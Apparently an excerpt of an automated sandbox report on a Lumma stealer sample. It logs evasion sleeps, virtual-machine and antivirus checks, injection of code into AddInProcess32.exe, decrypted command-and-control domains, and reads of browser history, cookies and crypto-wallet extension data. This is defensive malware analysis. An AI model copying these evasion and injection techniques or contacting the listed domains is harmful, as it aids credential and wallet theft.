Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: 9E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: 2D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: 4D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: 8700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: 9700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: 98E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: A8E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: ACA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: BCA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory allocated: CCA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Window / User API: threadDelayed 7948			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Window / User API: threadDelayed 1904			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -35000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -34890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -34781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -34671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -34562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -34452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -34343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -34234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -34124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -34015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -33906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -33771s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -33625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -33422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -33271s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -33140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -33031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32155s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -32046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -31937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -31828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -31718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -31606s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -31484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -31375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -31264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -31156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -31046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -30937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -30828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -30718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -30609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -30500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -30390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -30281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -30171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe TID: 1264	Thread sleep time: -30062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 4712	Thread sleep time: -90000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 35000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 34890	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 34781	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 34671	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 34562	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 34452	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 34343	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 34234	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 34124	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 34015	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 33906	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 33771	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 33625	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 33422	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 33271	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 33140	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 33031	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 32921	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 32812	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 32703	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 32593	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 32484	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 32375	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 32265	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 32155	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 32046	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 31937	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 31828	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 31718	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 31606	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 31484	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 31375	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 31264	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 31156	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 31046	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 30937	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 30828	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 30718	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 30609	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 30500	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 30390	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 30281	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 30171	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Thread delayed: delay time: 30062	Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.0000000003ED6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2797210374.00000000055E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VBoxTray
Source: AddInProcess32.exe, 00000004.00000002.2914223598.0000000001384000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQy>
Source: AddInProcess32.exe, 00000004.00000002.2914223598.000000000135D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8w9
Source: AddInProcess32.exe, 00000004.00000002.2914223598.0000000001384000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2784455449.0000000000782000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2797210374.00000000055E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: 2051979379GSOFTWARE\VMware, Inc.\VMware VGAuth

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_00440D90 LdrInitializeThunk,

4_2_00440D90

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.000000000423B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: servicedny.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.000000000423B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: authorisev.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.000000000423B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: faulteyotk.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.000000000423B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: dilemmadu.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.000000000423B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: contemteny.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.000000000423B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: goalyfeastz.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.000000000423B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: opposezmny.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.000000000423B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: seallysl.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.000000000423B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: treatmentyj.cyou

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 446000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 449000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1087008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: AddInProcess32.exe, 00000004.00000002.2914223598.00000000013ED000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
